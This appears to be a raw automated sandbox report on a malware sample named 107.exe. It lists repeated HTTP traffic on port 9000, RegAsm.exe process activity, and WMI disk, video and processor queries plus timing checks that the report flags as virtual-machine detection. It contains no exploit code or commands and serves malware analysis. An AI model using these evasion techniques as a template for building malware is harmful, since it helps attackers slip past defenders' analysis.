Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50183

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_045A368F EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_045A368F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00459B90 rdtsc

0_2_00459B90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1989			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7560			Jump to behavior

Source: C:\Users\user\Desktop\107.exe

API coverage: 3.4 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -33966s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -34686s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -42936s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -52114s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59230s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 984	Thread sleep time: -59062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -39120s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -50964s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -44683s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -55819s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -39392s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -53059s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -49454s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -50861s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -49491s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -36765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -33263s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -58856s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -34904s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -54936s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -33115s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -45458s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -51486s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -42085s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -47669s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -35326s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -35956s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -33699s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -42091s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -34551s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -39042s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2676	Thread sleep time: -42012s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
